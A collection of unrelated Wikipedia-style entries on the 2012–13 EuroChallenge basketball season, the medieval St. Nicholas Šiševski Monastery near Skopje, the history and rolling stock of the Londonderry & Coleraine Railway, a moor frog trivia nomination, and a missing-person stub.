2012–13 EuroChallenge was the 9th edition of Europe's third-tier level transnational competition for men's professional basketball clubs.
Teams
32 teams will participate in EuroChallenge Regular Season:
* A total of 28 teams have already qualified directly to the 32-team regular season.
* Another 4 teams will earn their place at the group stage by winning a qualifying round.
Qualifying round
First leg will be played in September 25 and the second one in October 2. Team 1 plays the second leg at home.
Regular season
The Regular Season began on November 6 and finished on December 14, 2012.
Last 16
Starts on January 15, 2013
Quarter-finals
Quarter-finals were played in a best-of-three series. Matches dates were 12, 14 and 19 March. Team 1 played the first and the third game at home court.
Final Four
The Final Four was held in the Karşıyaka Arena at Izmir, Turkey. | WIKI |
St. Nicholas Šiševski Monastery
St. Nicholas Šiševski Monastery is a Macedonian Orthodox Christian medieval monastery located near the village of Šiševo, high above the cliffs in the canyon of the Treska River in North Macedonia.
Location
St. Nicholas Šiševski Monastery is located high on a terraced slope of the Karpati Mountains, above the right bank of the artificial lake Matka on the Treska River. The terrain is inaccessible to motor vehicles and mountain bikes and can only be reached on foot from three directions: from the bridge over the Treska River near the kayaking area close to the Monastery of Holy Mother of God in Dolna Matka (a half-hour walk); from the village of Šiševo (1 hour); and from the summit of Mount Vodno (2 hours and 30 minutes). It is located 18 kilometers away from the city of Skopje, and approximately 3 kilometers from the village of Šiševo. On the opposite side of the monastery, below the lake, there is a splendid view of the famous church, St. Andrew's Monastery.
History
The exact date of the construction of the monastery church dedicated to St. Nicholas is unknown. However, there is information that the church was built or renovated in 1345 by the priest Nenad and other benefactors. A transcript of a monastery document mentions that King Marko assisted in the construction and painting of the older church, so he can be credited as a benefactor. Considering this information, as well as the fact that the benefactor of the nearby church across the lake, dedicated to St. Andrew, was Marko's brother, Andrijaš, it can be concluded that this monastery dates back to the second half of the 14th century. The exact identity of the benefactor of the new church is not known, but it is assumed that Skopje's Metropolitan Simeon personally contributed to its construction.
By the mid-15th century, it is mentioned that there was only one monk in the monastery church. Until the end of the 15th century and throughout the entire 14th century, there are no records of the monastery's life. Sometime in the first half of the 17th century, a narthex was added to the western side of the church in the form of a narrow inscribed cross with a dome supported by consoles.
From the later history of the monastery, the Macedonian enlightener Yordan Hadzhikonstantinov-Dzhinot, in one of his writings in the "Tsarigradski Vesnik" (dated November 20, 1854), noted that in 1844, the Albanians destroyed and burned (reduced to ashes) all the buildings (structures) except for the monastery church.
Construction and painting of frescos
The monastery church consists of two structures. The older original building is a single-nave church with a triconch apse and a semicircular vault. The western part is a compact inscribed cross made of stone and brick, and its facades are adorned with pilasters and blind arcades. This church has a slender octagonal dome and currently serves as a narthex. Above the entrance of the church, there is a large fresco depicting St. Nicholas, the patron saint of the church. On the window of the right (southern) side, there is a notable carved stone depicting a chariot, possibly dating back to the ancient period.
The church of St. Nicholas has two layers of frescoes. The old frescoes, dating from the 14th century, are partially revealed beneath the frescoes from the 17th century. Among the old frescoes, the figures of four holy fathers can be seen on the northern and southern walls of the altar, as well as two holy warriors in the naos. These are the holy warriors George and Demetrius, dressed in contemporary royal garments with tall caps, similar to those in the Heavenly Court of the Marko's Monastery. Based on the known frescoes from the first layer, it seems that they were created by two painters belonging to the tribal-monastic group of painters from the second half of the 14th century, identified within the territory of the Skopje Metropolis.
The frescoes from 1630, located in the second church, specifically in the narthex, are very well preserved. The lower zone depicts individual saints, above them are scenes from the life of St. Nicholas, and in the upper zones are scenes of miracles and sufferings of Jesus Christ. The frescoes from 1630 exhibit all the characteristics of this period - dominance of drawing, confident and accurate lines, narrative scenes, compositional richness, limited color palette, and a predominant reddish-brown color.
An interesting aspect is the presence of names and surnames of visitors to the monastery who signed the frescoes during their visits from 1860 to 1924.
Among the remnants of the former monastery complexes, the remains of foundations are visible to the south and east of the church, where summer houses have been built, providing a magnificent view of St. Andrew Church. | WIKI |
Londonderry & Coleraine Railway
The Londonderry & Coleraine Railway is a railway line between the cities of Derry and Coleraine in County Londonderry, built by the Londonderry & Coleraine Railway Company (L&CR). The company operated the line independently for seven years before being absorbed into the Belfast & Northern Counties Railway. The line is still in use today by NI Railways and forms part of the Belfast to Derry-Londonderry rail line.
History
The Londonderry & Coleraine Railway was incorporated in 1845 and was opened in stages from 1852 to 1853. The company had nine years of independent railway operation before being acquired by the Belfast and Northern Counties Railway. Records of the company are sketchy and incomplete.
Construction
Despite being a relatively short line it required some considerable engineering works. The route starting from the Derry terminus on the east bank of the River Foyle. The line followed the river north and from where it flows into Lough Foyle the line follows south and east banks via Magilligan and Bellarena. At Magiligan an embankment was built for the railway line and about 22,000 acres reclaimed from Lough Foyle and the sea. Of the 22,000 acres 12,000 was set aside to cover the costs of the railway. The major engineering feature on the line is the two Downhill tunnels. Construction of which began in June 1846. The blasting of the tunnels the longest of which is at 275 metres long the longest in Ireland attracted a crowd of up to 12,000. The blasting of the tunnels took 3600 lbs of gunpowder. When the tunnel was complete a banquet for 500 people was held in the tunnel, the event became known locally as the Great Blast.
In 1852 the first sections of the railway between Londonderry and Limavady were ready for use. The Board of Trade authorised the opening of the line to goods traffic in October but were initially reluctant to authorise passenger traffic. Eventually authorisation was given by the end of December that year. Work on the line continued towards Coleraine from Broharris Junction four miles from Limavady.
From the mouth of Lough Foyle the line went east before following the River Bann into Coleraine. Initially the line terminated on the west bank of the Bann. In 1855 the Ballymena, Ballymoney, Coleraine and Portrush Junction Railway (BBC&PJR) opened which along with the Belfast & Ballymena Railway provided a rail link between Derry and Belfast. As there was no bridge over the Bann passengers and goods had to change stations at Coleraine. In November 1860 a viaduct across the Bann was opened finally allowing through traffic between Derry and Belfast.
Branch lines
As well as the mainline between Londonderry and Coleraine there were some small branch lines. The first branch from the small town of Magilligan to Magiligan Point. Magilligan Point is a promontory in the mouth of Lough Foyle and it was hoped a ferry service from here to County Donegal could be established and thus be an extra source of traffic. The four and a half mile line was built without parliamentary approval and appears to have been opened without Board of Trade authorisation in June/July 1855. It appears that it was unprofitable and was closed by October 1855 making it the shortest lived passenger rail line in Ireland. Ironically a seasonal ferry service between Magilligan Point and County Donegal is in operation today.
When the line opened between Londonderry and Limavady in 1852, construction work towards Coleraine started four miles from Limavady station. When the line opened in 1853 this required trains going to Coleraine via Limavady to reverse onto the mainline. Thus a junction station was constructed in 1852 and Limavady became a branch. The Limavady & Dungiven Railway Company (acquired by NCC 1907) built a 10-mile extension from Limavady to Dungiven in 1873 being completed in 1883. The line was worked from the outset by the BNCR (who acquired the Londonderry & Coleraine) as part of the Limavady branch. The branch was completely closed to passengers in 1950 with goods ceasing in 1955. Despite the loss of its branch, Limavady Junction remained open to mainline trains until 1976.
Amalgamation
The L&CR struggled with financial difficulties and from 1861 leased their line to the growing Belfast & Northern Counties Railway (BNCR). This saw the closure of Coleraine Waterside Station with services from Derry running into the BNCR station in Coleraine on the other side of the river. Eventually the BNCR agreed to buyout the L&CR completely in 1871, ending the line's existence as an independent company. This was not the end of the railway as it would continue to form part of the mainline between Belfast and Londonderry for the BNCR and its successors. The BNCR invested in the line and constructed a new terminus in Londonderry in 1874, which despite being abandoned in favour of a smaller terminus between 1980-2019 is still in use today.
The BNCR would be acquired by the Midland Railway in 1903 becoming the Northern Counties Committee (NCC). The NCC found itself in London, Midland & Scottish Railway (LMS) ownership following the grouping of Britain's Railways in 1921 and later the Railway Executive after nationalisation in 1948, before eventually being acquired by the Ulster Transport Authority (UTA) in 1949 which would eventually give way to Northern Ireland Railways in 1967 who continue to run the line.
Stations
Today there are four stations on the line, Londonderry, Bellarena, Castlerock and Coleraine; however many more stations came and went over time. Some of the former stations on the line are still standing and have been turned into private residences. Many of the L&CR stations were basic platform halts, however when the line passed into BNCR ownership the architect John Lanyon rebuilt many between 1874–75, most notably the waterside terminus in Derry which is still in use.
Locomotives and Motive Power
Forming part of the mainline between Derry and Belfast the Londonderry & Coleraine Railway has seen the some of Northern Ireland's classic express engines on its rails, likewise its branch line to Limavady has also seen some of the smaller locomotives associated with the NCC. Following nationalisation the line was dieselised and today both of NIR's classes of DMU can be found working the line.
Londonderry & Coleraine Railway Company
During the early period of L&CR ownership the company operated a variety of both second hand locomotives and new engines specifically built for them. The L&CR frequently exchanged locomotives with the neighbouring Londonderry & Enniskillen Railway (a predecessor to the Great Northern Railway). The company is not well renowned for its motive power and many of the locomotives were under powered and not suited to the line. Of the locomotives specifically built for the company these were five 2-2-0 Well Tank locomotives, and 0-4-2 and a 2-4-0. The 2-4-0 was of Robert Stephenson specification and built by Longridge and was initially loaned to the Londonderry & Enniskillen in 1847. The 2-2-0 tank engines were of NB Adams patent and built by Sharp, Stewart & Company. The order for these locos was for six however before delivery one was sent to Dublin for the International Dublin Exhibition of 1853, where it was sold to the Newry and Enniskillen Railway and thus never worked on the line. These engines were unsuitable for a line the size of the Londonderry & Coleraine Railway being under powered and unstable. Being outside cylinder locos they were unstable at speed and one lurched off the track in 1855 resulting in one fatality. As such a common practise was to couple two engines back to back. The 0-4-2 was built in 1859 by Grendon, the company also ordered another 2-4-0 from fairbairn but this arrived in 1860 after the BNCR take over and so never ran on the line under L&CR ownership. The company also bought two 2-2-2WTs from the BBC&PJR.
Belfast & Northern Counties Railway
See Northern Counties Committee
The L&CR contributed nine engines to the BNCR fleet upon that companies acquisition of the line. It had no significant influence on the future locomotive policy of the BNCR and most of these inherited locomotives were withdrawn before the turn of the century. The BNCR followed a policy of 2-4-0 locomotives for passenger trains and 0-6-0 locomotives for goods trains mainly built by Sharp, Stewart & Company and Beyer, Peacock & Company. Under the locomotive Superintendentship of Bowman Malcolm the company experimented with compounding and many of these locomotives would survive into NCC ownership. This company was also the first in the world to fit its locomotives with Ross "pop" safety valves invented by R L Ross from Coleraine. This invention would see wide use on British locomotives as well as some of those used overseas.
Northern Counties Committee
Under Midland Railway ownership the policy remained largely independent and the building compounds continued. There was also wider use of the 4-4-0 wheel arrangement for passenger locomotives the company owning twenty engines of this wheel arrangement by 1920.
Under LMS ownership a modernisation and standardisation program was introduced, with locomotives built during this period having more of a Midland and LMS influence with the LMS' Derby Works building engines as well as the NCC shops at York Road, Belfast. Some contracts also went to outside locomotive companies; the U2 class 4-4-0 is a good example of this, with some of the class being built at York Road, some at Derby and some by North British Locomotive Company in Glasgow. In 1933 the largest NCC engines began to appear, these were the W Class 2-6-0s and were largely based LMS Fowler 2-6-4Ts. This design was followed by a tank engine version in 1946, the 2-6-4T WT class. Both of which were highly successful.
Ulster Transport Authority
See NI Railways While Diesel Railcars and Multiple Units (DMU) had been experimented with by the NCC, the UTA developed the process further, developing the Multi Engined Diesel (MED)in 1952. Commonly referred to as in Ireland as railcars it was found these DMUs were not suited to long distance services like the Derry line, the UTA redeveloped the concept and introduced the Multi Purpose Diesel (MPD) in 1957. These railcars were built specifically with the line to Londonderry in mind with the first 10 being allocated for express services between that city and Belfast. The railways of the UTA suffered neglect from government as a result many MPDs were (as were the earlier MEDs) constructed from older coach bodies and frames. Originally these railcars used 275 hp Leyland engine, mounted beneath the chassis, however they were later refurbished in the 1960s with recycled engines from the former ex GNR(I) AEC railcars and new 275 hp engines from Rolls-Royce. While the MPDs were cheap to build and economical to run they were somewhat lacking in passenger comfort compared to locomotive hauled coaches. The UTA designed a DMU which unlike earlier generations of railcars did not place the engine under the floor of a passenger coach but placed it in a specific compartment in the driving vehicle behind the cab. The Class 70 was introduced in 1966. Fitted with a 550 hp English Electric engine they would remain in service until 1986. Under the UTA diesel traction would take over the bulk of the traffic on the Derry line, however steam locomotives continued on the line until the end of the 1960s.
Northern Ireland Railways
NIR inherited the railway system of the UTA including the Londonderry & Coleraine line in 1967 and continued in the development of DMUs. The Class 80 was a furthering of the concept conceived with the Class 70 and were very similar both mechanically and electrically. It was developed using British Rail Mk2 b body shells with a 560 hp English Electric engine. The class was intended to replace the ageing MPD and ex GNRI railcar inherited from the UTA. The class is arguably one of the most successful types of train to run in Ireland north or south and gave NIR many years of service in difficult times. Examples of the class 80 (affectionately nicknamed 'thumpers') remained in passenger service until 2011 with a small number continuing to work sandite trains until 2017.
From 1985 the Class 70s were replaced with the 450 (Castle) Class DMUs built by BREL. They were constructed using the frames of MK1 coaches and the bodyshells of MK3s. They reused the power units of the Class 70s they replaced. Although intended mainly for short branch lines they did occasionally find themselves on services on the Derry line. The last castle was withdrawn in 2012. The first of NIR's 3000 Class DMUs were introduced in 2005. This class was part of a major investment intended to replace the ageing Class 80 'thumpers.' These three car DMUs were built by CAF and fitted with MAN diesel engines giving them a speed of up to 90 mph. Class 4000 DMUs also built by CAF were acquired from 2011 to completely replace the remaining class 80s and the entire 450 Class. They are externally similar to the 3000 class in appearance but are fitted with an MTU 390 kW engine, they also have fewer seating bays in favour of more standing room and only one toilet compared with the two on the 3000s. Like the 3000s they are 3-car units however NIR is purchasing an extra 21 carriages to turn seven of the class into 6-car units.
Accidents
In the over 150-year history of the line there have been relatively few accidents however the line has not been immune from them.
* 24 April 1855 - A train consisting of four carriages hauled by one of the 2-2-0 tank engines overturned on a curve at Rosses Bay just outside Londonderry killing the driver. The design of the engine was criticised.
* 27 June 1856 - An elderly user of a level crossing lost their legs after being stuck by a train at low speed at Bellarena. The gates were unmanned as the keeper was assisting watering a locomotive.
* 31 December 1858- Goods train mistakenly directed into siding at Magilligan. The locomotive had been propelling its wagons in front of it which is usually considered an unsafe practise, ironically had it however been pulling them the accident could have been worse.
* 2 February 1875 - Collision at Coleraine. unknown injuries and fatalities
* 28 September 1887 - A track defect the result of inadequate maintenance caused a train to derail near the Bann Bridge outside Coleraine.
* 4 June 2002 - Landslide at Downhill causing boulders to fall onto the track resulted in a derailment injuring 12 people. Netting has since been installed on the surrounding cliffs to prevent a similar event from happening in the future
* 2 August 2007 - Train collided with tractor on a user worked crossing between two parts of a farm near Limavady Junction.
Legacy
The line is regarded for its scenic views of the coastal views from the train taking in Downhill beach and cliffs, Binevenagh and the Foyle estuary. It was famously described by Michael Palin as "one of the most beautiful rail journeys in the world" and in 2016 was listed 7th in Country Living's "10 most breathtaking railway journeys across the UK" ahead of the luxury chartered British Pullman.
One of the line's early claims to fame is that the locomotive engineer Robert Fairlie served as the Locomotive Superintendent of the Londonderry & Coleraine Company from 1852. It is speculated that Fairlie may have gotten the idea for his Double Fairlie design from the L&CR practise of coupling the 2-2-0 tank engines back to back. | WIKI |
Template talk:Did you know nominations/Moor frog
Hook modifications
GalliumBot (talk • contribs) (he/it) 03:26, 30 November 2022 (UTC)
* ... that a few Moor frogs are able to freeze solid to temperatures as low as -16 C and thaw to survive? [2022-11-30 at 02:41:34, by ]
* ... that in one experiment in which moor frogs were frozen solid to -16 C and then thawed, a small percentage survived? [2022-11-30 at 02:42:41, by ] | WIKI |
User:Rachelye/Disappearance of Moshe Kleinerman
Avraham Moshe (Moishe) Kleinerman is an Israeli missing person last seen in the Mount Meron area in Israel on March 25th, 2022. | WIKI |
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